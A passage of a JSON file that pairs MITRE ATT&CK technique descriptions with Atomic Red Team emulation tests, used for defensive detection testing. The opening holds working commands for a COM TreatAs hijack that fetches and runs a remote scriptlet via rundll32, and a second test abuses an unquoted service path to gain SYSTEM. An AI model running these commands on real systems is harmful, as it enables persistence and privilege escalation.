\"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\" ", - "cleanup_command": "reg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f", - "name": "powershell" - } - } - ] - }, - "T1574.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", - "type": "attack-pattern", - "created": "2020-03-13T13:51:58.519Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.009", - "url": "https://attack.mitre.org/techniques/T1574/009" - }, - { - "external_id": "CAPEC-38", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/38.html" - }, - { - "source_name": "Microsoft CurrentControlSet Services", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", - "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020." - }, - { - "source_name": "Help eliminate unquoted path", - "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012." - }, - { - "source_name": "Windows Unquoted Services", - "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", - "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018." - }, - { - "source_name": "Windows Privilege Escalation Guide", - "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018." - } - ], - "modified": "2020-09-17T19:05:23.755Z", - "name": "Hijack Execution Flow: Path Interception by Unquoted Path", - "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "File: File Modification" - ], - "identifier": "T1574.009" - }, - "atomic_tests": [ - { - "name": "Execution of program.exe as service with unquoted service path", - "auto_generated_guid": "2770dea7-c50f-457b-84c4-c40a47460d9f", - "description": "When a service is created whose executable path contains spaces and isn\u2019t enclosed within quotes, leads to a vulnerability\nknown as Unquoted Service Path which allows a user to gain SYSTEM privileges.\nIn this case, if an executable program.exe in C:\\ exists, C:\\program.exe will be executed instead of test.exe in C:\\Program Files\\subfolder\\test.exe.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_executable": { - "description": "Path of the executable used for the service and as the hijacked program.exe", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe" - } - }, - "executor": { - "command": "copy #{service_executable} \"C:\\Program Files\\windows_service.exe\"\ncopy #{service_executable} \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n", - "cleanup_command": "sc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1166": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1166", - "url": "https://attack.mitre.org/techniques/T1166" - }, - { - "url": "http://man7.org/linux/man-pages/man2/setuid.2.html", - "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", - "source_name": "setuid man page" - }, - { - "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", - "source_name": "OSX Keydnap malware" - } - ], - "modified": "2020-02-05T20:09:22.650Z", - "name": "Setuid and Setgid", - "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "root" - ] - }, - "atomic_tests": [] - }, - "T1037.005": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", - "created": "2020-01-15T18:00:33.603Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.005", - "url": "https://attack.mitre.org/techniques/T1037/005" - }, - { - "source_name": "Startup Items", - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017." - }, - { - "source_name": "Methods of Mac Malware Persistence", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", - "modified": "2022-04-20T16:43:21.560Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Initialization Scripts: Startup Items", - "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "Command: Command Execution", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1037.005" - }, - "atomic_tests": [] - }, - "T1100": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", - "type": "attack-pattern", - "created": "2017-05-31T21:31:13.061Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1100", - "url": "https://attack.mitre.org/techniques/T1100" - }, - { - "external_id": "CAPEC-650", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/650.html" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", - "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", - "source_name": "Lee 2013" - }, - { - "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A", - "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", - "source_name": "US-CERT Alert TA15-314A Web Shells" - } - ], - "modified": "2020-03-19T20:22:02.163Z", - "name": "Web Shell", - "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_system_requirements": [ - "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "User" - ] - }, - "atomic_tests": [] - }, - "T1078.002": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jon Sternstein, Stern Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", - "created": "2020-03-13T20:21:54.758Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.002", - "url": "https://attack.mitre.org/techniques/T1078/002" - }, - { - "source_name": "TechNet Credential Theft", - "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016." - }, - { - "source_name": "TechNet Audit Policy", - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016." - }, - { - "source_name": "Microsoft AD Accounts", - "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts", - "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020." - }, - { - "source_name": "Ubuntu SSSD Docs", - "url": "https://ubuntu.com/server/docs/service-sssd", - "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/560.html", - "source_name": "capec", - "external_id": "CAPEC-560" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", - "modified": "2022-04-19T20:14:34.479Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Domain Accounts", - "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Logon Session: Logon Session Creation", - "User Account: User Account Authentication", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1034": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", - "type": "attack-pattern", - "created": "2017-05-31T21:30:36.140Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": false, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1034", - "url": "https://attack.mitre.org/techniques/T1034" - }, - { - "external_id": "CAPEC-159", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/159.html" - }, - { - "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", - "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.", - "source_name": "TechNet MS14-019" - }, - { - "url": "http://support.microsoft.com/KB/103000", - "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.", - "source_name": "Microsoft Subkey" - }, - { - "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.", - "source_name": "Baggett 2012" - }, - { - "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", - "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", - "source_name": "SecurityBoulevard Unquoted Services APR 2018" - }, - { - "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", - "source_name": "SploitSpren Windows Priv Jan 2018" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/ms682425", - "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", - "source_name": "Microsoft CreateProcess" - }, - { - "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", - "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.", - "source_name": "Hill NT Shell" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/ms687393", - "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", - "source_name": "Microsoft WinExec" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", - "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.", - "source_name": "MSDN Environment Property" - } - ], - "modified": "2020-07-06T18:49:35.645Z", - "name": "Path Interception", - "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_deprecated": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1037.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", - "type": "attack-pattern", - "created": "2020-01-10T18:01:03.666Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.003", - "url": "https://attack.mitre.org/techniques/T1037/003" - }, - { - "source_name": "Petri Logon Script AD", - "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008", - "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019." - } - ], - "modified": "2020-03-24T23:45:25.625Z", - "name": "Network Logon Script", - "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "File: File Modification", - "Active Directory: Active Directory Object Modification", - "File: File Creation" - ] - }, - "atomic_tests": [] - }, - "T1088": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "type": "attack-pattern", - "created": "2017-05-31T21:31:07.462Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1088", - "url": "https://attack.mitre.org/techniques/T1088" - }, - { - "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", - "source_name": "TechNet How UAC Works" - }, - { - "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", - "source_name": "TechNet Inside UAC" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", - "source_name": "MSDN COM Elevation" - }, - { - "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", - "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", - "source_name": "Davidson Windows" - }, - { - "url": "https://github.com/hfiref0x/UACME", - "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", - "source_name": "Github UACMe" - }, - { - "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "description": "Nelson, 